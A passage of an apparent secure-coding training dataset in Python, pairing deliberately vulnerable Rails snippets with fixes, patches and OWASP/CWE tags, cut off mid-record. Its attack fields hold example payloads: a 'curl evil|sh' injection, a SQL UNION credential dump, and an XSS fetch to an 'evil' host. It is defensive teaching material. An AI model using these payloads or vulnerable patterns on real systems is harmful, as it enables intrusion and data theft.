File size: 75,484 Bytes
2ef05ec
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
1100
1101
1102
1103
1104
1105
1106
1107
1108
1109
1110
1111
1112
1113
1114
1115
1116
1117
1118
1119
1120
1121
1122
1123
1124
1125
1126
1127
1128
1129
1130
1131
1132
1133
1134
1135
1136
1137
1138
1139
1140
1141
1142
1143
1144
1145
1146
1147
1148
1149
1150
1151
1152
1153
1154
1155
1156
1157
1158
1159
1160
1161
1162
1163
1164
1165
1166
1167
1168
1169
1170
1171
1172
1173
1174
1175
1176
1177
1178
1179
1180
1181
1182
1183
1184
1185
1186
1187
1188
1189
1190
1191
1192
1193
1194
1195
1196
1197
1198
1199
1200
1201
1202
1203
1204
1205
1206
1207
1208
1209
1210
1211
1212
1213
1214
1215
1216
1217
1218
1219
1220
1221
1222
1223
1224
1225
1226
1227
1228
1229
1230
1231
1232
1233
1234
1235
1236
1237
1238
1239
1240
1241
1242
1243
1244
1245
1246
1247
1248
1249
1250
1251
1252
1253
1254
1255
1256
1257
1258
1259
1260
1261
1262
1263
1264
1265
1266
1267
1268
1269
1270
1271
1272
1273
1274
1275
1276
1277
1278
1279
1280
1281
1282
1283
1284
1285
1286
1287
1288
1289
1290
1291
1292
1293
1294
1295
1296
1297
1298
1299
1300
1301
1302
1303
1304
1305
1306
1307
1308
1309
1310
1311
1312
1313
1314
1315
1316
1317
1318
1319
1320
1321
1322
1323
1324
1325
1326
1327
1328
1329
1330
1331
1332
1333
1334
1335
1336
1337
1338
1339
1340
1341
1342
1343
1344
1345
1346
1347
1348
1349
1350
1351
1352
1353
1354
1355
1356
1357
1358
1359
1360
1361
1362
1363
1364
1365
1366
1367
1368
1369
1370
1371
1372
1373
1374
1375
1376
1377
1378
1379
1380
1381
1382
1383
1384
1385
1386
1387
1388
1389
1390
1391
1392
1393
1394
1395
1396
1397
1398
1399
1400
1401
1402
1403
1404
1405
1406
1407
1408
1409
1410
1411
1412
1413
1414
1415
1416
1417
1418
1419
1420
1421
1422
1423
1424
1425
1426
1427
1428
1429
1430
1431
1432
1433
1434
1435
1436
1437
1438
1439
1440
1441
1442
1443
1444
1445
1446
1447
1448
1449
1450
1451
1452
1453
1454
1455
1456
1457
1458
1459
1460
1461
1462
1463
1464
1465
1466
1467
1468
1469
1470
1471
1472
1473
1474
1475
1476
1477
1478
1479
1480
1481
1482
1483
1484
1485
1486
1487
1488
1489
1490
1491
1492
1493
1494
1495
1496
1497
1498
1499
1500
1501
1502
1503
1504
1505
1506
1507
1508
1509
1510
1511
1512
1513
1514
1515
1516
1517
1518
1519
1520
1521
1522
1523
1524
1525
1526
1527
1528
1529
1530
1531
1532
1533
1534
1535
1536
1537
1538
1539
1540
1541
1542
1543
1544
1545
1546
1547
1548
1549
1550
1551
1552
1553
1554
1555
1556
1557
1558
1559
1560
1561
1562
1563
1564
1565
1566
1567
1568
1569
1570
1571
1572
1573
1574
1575
1576
1577
1578
1579
1580
1581
1582
1583
1584
1585
1586
1587
1588
1589
1590
1591
1592
1593
1594
1595
1596
1597
1598
1599
1600
1601
1602
1603
1604
1605
1606
1607
1608
1609
1610
1611
1612
1613
1614
1615
1616
1617
1618
1619
1620
1621
1622
1623
1624
1625
1626
1627
1628
1629
1630
1631
1632
1633
1634
1635
1636
1637
1638
1639
1640
1641
1642
1643
1644
1645
1646
1647
1648
1649
1650
1651
1652
1653
#!/usr/bin/env python3
"""SecureCodePairs v1.1.0 extension records (SCP-000051+).

Additional languages: Ruby, C, C++, Scala.
New domains: fintech, FHIR/healthcare, Kubernetes, IoT.
New paradigms: GraphQL, gRPC.
Every record is hand-authored and distinct from the base 50.
"""
from typing import List, Dict

RECORDS_EXT: List[Dict] = [
    # ================================================================== RUBY / RAILS ==================================================================
    {
        "id": "SCP-000051",
        "language": "Ruby",
        "framework": "Rails",
        "title": "SQL injection in Rails find_by with string interpolation",
        "description": "A Rails controller builds a LIKE condition by interpolating params into a raw SQL fragment.",
        "owasp": "A03:2021 - Injection",
        "owasp_api": "API3:2023 - Broken Object Property Level Authorization",
        "owasp_llm": "",
        "cwe": "CWE-89",
        "mitre_attack": "T1190 - Exploit Public-Facing Application",
        "severity": "High",
        "difficulty": "Beginner",
        "vulnerable_code": (
            "def search\n"
            "  term = params[:q]\n"
            "  # Vulnerable: raw SQL interpolation\n"
            "  @users = User.where(\"name LIKE '%#{term}%'\")\n"
            "end\n"
        ),
        "secure_code": (
            "def search\n"
            "  term = params[:q].to_s\n"
            "  # Secure: bound parameter\n"
            "  @users = User.where('name LIKE ?', \"%#{term}%\")\n"
            "end\n"
        ),
        "patch": (
            "--- a/app/controllers/users_controller.rb\n"
            "+++ b/app/controllers/users_controller.rb\n"
            "@@ -2,4 +2,4 @@\n"
            "-  @users = User.where(\"name LIKE '%#{term}%'\")\n"
            "+  @users = User.where('name LIKE ?', \"%#{term}%\")\n"
        ),
        "root_cause": "User input is interpolated into a SQL fragment instead of bound as a parameter.",
        "attack": "q=%' UNION SELECT email,password FROM users -- dumps credentials.",
        "impact": "Confidentiality loss: arbitrary data disclosure.",
        "fix": "Use ActiveRecord bound parameters or named placeholders for all user input.",
        "guideline": "Never interpolate into SQL fragments; bind parameters via ? or named placeholders.",
        "tags": ["sqli", "rails", "ruby", "activerecord"],
        "metadata": {"domain": "E-commerce", "input_source": "query_param", "auth_required": False},
    },
    {
        "id": "SCP-000052",
        "language": "Ruby",
        "framework": "Rails",
        "title": "Mass assignment via update_attributes",
        "description": "A Rails action updates a model from the whole params hash, allowing role escalation.",
        "owasp": "A04:2021 - Insecure Design",
        "owasp_api": "API3:2023 - Broken Object Property Level Authorization",
        "owasp_llm": "",
        "cwe": "CWE-915",
        "mitre_attack": "T1190 - Exploit Public-Facing Application",
        "severity": "High",
        "difficulty": "Beginner",
        "vulnerable_code": (
            "def update\n"
            "  @user = User.find(params[:id])\n"
            "  # Vulnerable: mass assignment of all params\n"
            "  @user.update_attributes(params[:user])\n"
            "end\n"
        ),
        "secure_code": (
            "def update\n"
            "  @user = User.find(params[:id])\n"
            "  # Secure: permit only intended fields\n"
            "  @user.update(user_params)\n"
            "end\n\n"
            "private\n\n"
            "def user_params\n"
            "  params.require(:user).permit(:display_name, :bio, :avatar_url)\n"
            "end\n"
        ),
        "patch": (
            "--- a/app/controllers/users_controller.rb\n"
            "+++ b/app/controllers/users_controller.rb\n"
            "@@ -3,4 +3,10 @@\n"
            "-  @user.update_attributes(params[:user])\n"
            "+  @user.update(user_params)\n"
            "+private\n"
            "+def user_params\n"
            "+  params.require(:user).permit(:display_name, :bio, :avatar_url)\n"
            "+end\n"
        ),
        "root_cause": "All request fields are bound to the model, including admin-only attributes like role.",
        "attack": "POST user[role]=admin escalates privileges.",
        "impact": "Privilege escalation.",
        "fix": "Use strong parameters to allowlist assignable fields.",
        "guideline": "Always use strong parameters; never update from raw params.",
        "tags": ["mass-assignment", "rails", "ruby", "auth"],
        "metadata": {"domain": "E-commerce", "input_source": "request_body", "auth_required": True},
    },
    {
        "id": "SCP-000053",
        "language": "Ruby",
        "framework": "Rails",
        "title": "Command injection via backticks",
        "description": "A Rails task runs a shell command using backticks with interpolated user input.",
        "owasp": "A03:2021 - Injection",
        "owasp_api": "",
        "owasp_llm": "",
        "cwe": "CWE-78",
        "mitre_attack": "T1059.004 - Command and Scripting Interpreter: Unix Shell",
        "severity": "Critical",
        "difficulty": "Beginner",
        "vulnerable_code": (
            "def export\n"
            "  name = params[:name]\n"
            "  # Vulnerable: backticks with interpolation\n"
            "  output = `./export.sh #{name}`\n"
            "  render plain: output\n"
            "end\n"
        ),
        "secure_code": (
            "def export\n"
            "  name = params[:name].to_s\n"
            "  # Secure: validated, no shell\n"
            "  unless name.match?(/\\A[\\w.-]+\\z/)\n"
            "    return head :bad_request\n"
            "  end\n"
            "  output = system('./export.sh', name)\n"
            "  render plain: output.to_s\n"
            "end\n"
        ),
        "patch": (
            "--- a/app/controllers/reports_controller.rb\n"
            "+++ b/app/controllers/reports_controller.rb\n"
            "@@ -2,5 +2,8 @@\n"
            "-  output = `./export.sh #{name}`\n"
            "+  unless name.match?(/\\A[\\w.-]+\\z/)\n"
            "+    return head :bad_request\n"
            "+  end\n"
            "+  output = system('./export.sh', name)\n"
        ),
        "root_cause": "User input is interpolated into a shell command executed via backticks.",
        "attack": "name=; curl evil|sh executes attacker commands on the host.",
        "impact": "Remote code execution.",
        "fix": "Avoid shells; pass arguments as an array and validate input.",
        "guideline": "Never use backticks/system with interpolated input; validate and use argument arrays.",
        "tags": ["command-injection", "rails", "ruby", "rce"],
        "metadata": {"domain": "Background workers", "input_source": "query_param", "auth_required": True},
    },
    {
        "id": "SCP-000054",
        "language": "Ruby",
        "framework": "Rails",
        "title": "Insecure deserialization with Marshal",
        "description": "A Rails endpoint loads untrusted data with Marshal.load, enabling RCE.",
        "owasp": "A08:2021 - Software and Data Integrity Failures",
        "owasp_api": "",
        "owasp_llm": "",
        "cwe": "CWE-502",
        "mitre_attack": "T1059 - Command and Scripting Interpreter",
        "severity": "Critical",
        "difficulty": "Advanced",
        "vulnerable_code": (
            "def load_state\n"
            "  data = Base64.decode64(params[:state])\n"
            "  # Vulnerable: Marshal on untrusted data\n"
            "  state = Marshal.load(data)\n"
            "  render json: state\n"
            "end\n"
        ),
        "secure_code": (
            "def load_state\n"
            "  # Secure: parse only structured JSON\n"
            "  state = JSON.parse(params[:state])\n"
            "  render json: state.slice('theme', 'lang')\n"
            "rescue JSON::ParserError\n"
            "  head :bad_request\n"
            "end\n"
        ),
        "patch": (
            "--- a/app/controllers/state_controller.rb\n"
            "+++ b/app/controllers/state_controller.rb\n"
            "@@ -2,5 +2,7 @@\n"
            "-  state = Marshal.load(data)\n"
            "+  state = JSON.parse(params[:state])\n"
            "+  render json: state.slice('theme', 'lang')\n"
            "+rescue JSON::ParserError\n"
            "+  head :bad_request\n"
        ),
        "root_cause": "Marshal executes arbitrary objects during load; untrusted input is unsafe.",
        "attack": "Attacker sends a marshalled gadget chain that runs code on load.",
        "impact": "Remote code execution.",
        "fix": "Replace Marshal with JSON and validate the resulting structure.",
        "guideline": "Never unmarshal untrusted data; use JSON + schema validation.",
        "tags": ["deserialization", "rails", "ruby", "rce"],
        "metadata": {"domain": "E-commerce", "input_source": "request_body", "auth_required": False},
    },
    {
        "id": "SCP-000055",
        "language": "Ruby",
        "framework": "Rails",
        "title": "Weak random token with rand",
        "description": "A Rails password-reset token is generated with Kernel#rand, which is predictable.",
        "owasp": "A02:2021 - Cryptographic Failures",
        "owasp_api": "",
        "owasp_llm": "",
        "cwe": "CWE-338",
        "mitre_attack": "T1600 - Weaken Encryption",
        "severity": "High",
        "difficulty": "Intermediate",
        "vulnerable_code": (
            "def issue_token(user)\n"
            "  # Vulnerable: predictable PRNG\n"
            "  token = rand(36**16).to_s(36)\n"
            "  user.update(reset_token: token)\n"
            "end\n"
        ),
        "secure_code": (
            "def issue_token(user)\n"
            "  # Secure: CSPRNG\n"
            "  token = SecureRandom.urlsafe_base64(32)\n"
            "  user.update(reset_token_digest: Digest::SHA256.hexdigest(token))\n"
            "  token\n"
            "end\n"
        ),
        "patch": (
            "--- a/app/services/token_service.rb\n"
            "+++ b/app/services/token_service.rb\n"
            "@@ -1,5 +1,7 @@\n"
            "-  token = rand(36**16).to_s(36)\n"
            "-  user.update(reset_token: token)\n"
            "+  token = SecureRandom.urlsafe_base64(32)\n"
            "+  user.update(reset_token_digest: Digest::SHA256.hexdigest(token))\n"
            "+  token\n"
        ),
        "root_cause": "A non-cryptographic PRNG is used for security tokens, making them guessable.",
        "attack": "Attacker predicts the next reset token and takes over accounts.",
        "impact": "Account takeover.",
        "fix": "Use SecureRandom (CSPRNG) and store only a hash of the token.",
        "guideline": "Generate tokens with SecureRandom; never store raw tokens.",
        "tags": ["crypto", "rails", "ruby", "tokens"],
        "metadata": {"domain": "Authentication systems", "input_source": "server", "auth_required": False},
    },
    {
        "id": "SCP-000056",
        "language": "Ruby",
        "framework": "Rails",
        "title": "IDOR on document download",
        "description": "A Rails controller loads a document purely by id without ownership check.",
        "owasp": "A01:2021 - Broken Access Control",
        "owasp_api": "API1:2023 - Broken Object Level Authorization",
        "owasp_llm": "",
        "cwe": "CWE-639",
        "mitre_attack": "T1190 - Exploit Public-Facing Application",
        "severity": "High",
        "difficulty": "Beginner",
        "vulnerable_code": (
            "def show\n"
            "  # Vulnerable: no tenant/owner scope\n"
            "  @doc = Document.find(params[:id])\n"
            "end\n"
        ),
        "secure_code": (
            "def show\n"
            "  # Secure: scope to current user\n"
            "  @doc = current_user.documents.find(params[:id])\n"
            "rescue ActiveRecord::RecordNotFound\n"
            "  head :not_found\n"
            "end\n"
        ),
        "patch": (
            "--- a/app/controllers/documents_controller.rb\n"
            "+++ b/app/controllers/documents_controller.rb\n"
            "@@ -1,4 +1,6 @@\n"
            "-  @doc = Document.find(params[:id])\n"
            "+  @doc = current_user.documents.find(params[:id])\n"
            "+rescue ActiveRecord::RecordNotFound\n"
            "+  head :not_found\n"
        ),
        "root_cause": "Object lookup is keyed only by attacker-controllable id, not by ownership.",
        "attack": "User changes id to access other tenants' documents.",
        "impact": "Cross-tenant data disclosure.",
        "fix": "Scope queries to the authenticated principal/tenant.",
        "guideline": "Enforce object-level authorization; scope every lookup by owner/tenant.",
        "tags": ["idor", "rails", "ruby", "access-control"],
        "metadata": {"domain": "E-commerce", "input_source": "path_param", "auth_required": True},
    },
    {
        "id": "SCP-000057",
        "language": "Ruby",
        "framework": "Rails",
        "title": "Reflected XSS via raw HTML",
        "description": "A Rails view renders a param inside html_safe, bypassing auto-escaping.",
        "owasp": "A03:2021 - Injection",
        "owasp_api": "",
        "owasp_llm": "",
        "cwe": "CWE-79",
        "mitre_attack": "T1059.007 - Command and Scripting Interpreter: JavaScript",
        "severity": "Medium",
        "difficulty": "Beginner",
        "vulnerable_code": (
            "<!-- greeting.html.erb -->\n"
            "<div class=\"greet\"><%= params[:name].html_safe %></div>\n"
        ),
        "secure_code": (
            "<!-- greeting.html.erb -->\n"
            "<div class=\"greet\"><%= h(params[:name]) %></div>\n"
        ),
        "patch": (
            "--- a/app/views/greeting.html.erb\n"
            "+++ b/app/views/greeting.html.erb\n"
            "@@ -1,2 +1,2 @@\n"
            "-<div class=\"greet\"><%= params[:name].html_safe %></div>\n"
            "+<div class=\"greet\"><%= h(params[:name]) %></div>\n"
        ),
        "root_cause": "html_safe marks untrusted data as safe, disabling Rails auto-escaping.",
        "attack": "name=<script>fetch('//evil') executes in victim's session.",
        "impact": "Session theft, XSS.",
        "fix": "Use default escaped output (<%= %>) and only mark vetted HTML safe.",
        "guideline": "Avoid html_safe on user input; rely on Rails escaping by default.",
        "tags": ["xss", "rails", "ruby", "reflected"],
        "metadata": {"domain": "E-commerce", "input_source": "query_param", "auth_required": False},
    },
    {
        "id": "SCP-000058",
        "language": "Ruby",
        "framework": "Rails",
        "title": "Secret exposed via Rails credentials commit",
        "description": "A hardcoded AWS secret is committed in a Rails initializer.",
        "owasp": "A05:2021 - Security Misconfiguration",
        "owasp_api": "",
        "owasp_llm": "",
        "cwe": "CWE-798",
        "mitre_attack": "T1552.001 - Unsecured Credentials: Credentials In Files",
        "severity": "High",
        "difficulty": "Beginner",
        "vulnerable_code": (
            "# config/initializers/aws.rb\n"
            "Aws.config.update(\n"
            "  credentials: Aws::Credentials.new(\n"
            "    'AKIAIOSFODNN7EXAMPLE', 'wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY'))\n"
        ),
        "secure_code": (
            "# config/initializers/aws.rb\n"
            "Aws.config.update(\n"
            "  credentials: Aws::Credentials.new(\n"
            "    ENV.fetch('AWS_ACCESS_KEY_ID'), ENV.fetch('AWS_SECRET_ACCESS_KEY')))\n"
        ),
        "patch": (
            "--- a/config/initializers/aws.rb\n"
            "+++ b/config/initializers/aws.rb\n"
            "@@ -2,5 +2,5 @@\n"
            "-    'AKIAIOSFODNN7EXAMPLE', 'wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY'))\n"
            "+    ENV.fetch('AWS_ACCESS_KEY_ID'), ENV.fetch('AWS_SECRET_ACCESS_KEY')))\n"
        ),
        "root_cause": "Cloud credentials are hardcoded in source instead of environment/secret store.",
        "attack": "Anyone with repo access obtains cloud credentials.",
        "impact": "Cloud resource compromise.",
        "fix": "Load secrets from env/secret manager; rotate any committed keys.",
        "guideline": "Never commit cloud keys; use env vars and rotate on leak.",
        "tags": ["secrets", "rails", "ruby", "config"],
        "metadata": {"domain": "Microservices", "input_source": "source_code", "auth_required": False},
    },
    {
        "id": "SCP-000059",
        "language": "Ruby",
        "framework": "Rails",
        "title": "Open redirect via return_to parameter",
        "description": "A Rails redirect uses an unvalidated return_to parameter.",
        "owasp": "A01:2021 - Broken Access Control",
        "owasp_api": "",
        "owasp_llm": "",
        "cwe": "CWE-601",
        "mitre_attack": "T1566 - Phishing",
        "severity": "Medium",
        "difficulty": "Beginner",
        "vulnerable_code": (
            "def after_sign_in\n"
            "  # Vulnerable: arbitrary redirect\n"
            "  redirect_to(params[:return_to] || root_path)\n"
            "end\n"
        ),
        "secure_code": (
            "def after_sign_in\n"
            "  target = params[:return_to].to_s\n"
            "  # Secure: only same-origin relative paths\n"
            "  if target.start_with?('/') && !target.start_with?('//')\n"
            "    redirect_to(target)\n"
            "  else\n"
            "    redirect_to(root_path)\n"
            "  end\n"
            "end\n"
        ),
        "patch": (
            "--- a/app/controllers/sessions_controller.rb\n"
            "+++ b/app/controllers/sessions_controller.rb\n"
            "@@ -1,4 +1,9 @@\n"
            "-  redirect_to(params[:return_to] || root_path)\n"
            "+  target = params[:return_to].to_s\n"
            "+  if target.start_with?('/') && !target.start_with?('//')\n"
            "+    redirect_to(target)\n"
            "+  else\n"
            "+    redirect_to(root_path)\n"
            "+  end\n"
        ),
        "root_cause": "Redirect target is taken from user input without same-origin validation.",
        "attack": "return_to=//evil.com phishes users post-login.",
        "impact": "Phishing, credential theft.",
        "fix": "Allowlist relative same-origin paths only.",
        "guideline": "Validate redirect targets; reject absolute/protocol-relative URLs.",
        "tags": ["open-redirect", "rails", "ruby", "phishing"],
        "metadata": {"domain": "Authentication systems", "input_source": "query_param", "auth_required": False},
    },
    {
        "id": "SCP-000060",
        "language": "Ruby",
        "framework": "Rails",
        "title": "CSRF missing on state-changing action",
        "description": "A Rails controller disables forgery protection on a destructive action.",
        "owasp": "A01:2021 - Broken Access Control",
        "owasp_api": "",
        "owasp_llm": "",
        "cwe": "CWE-352",
        "mitre_attack": "T1190 - Exploit Public-Facing Application",
        "severity": "Medium",
        "difficulty": "Beginner",
        "vulnerable_code": (
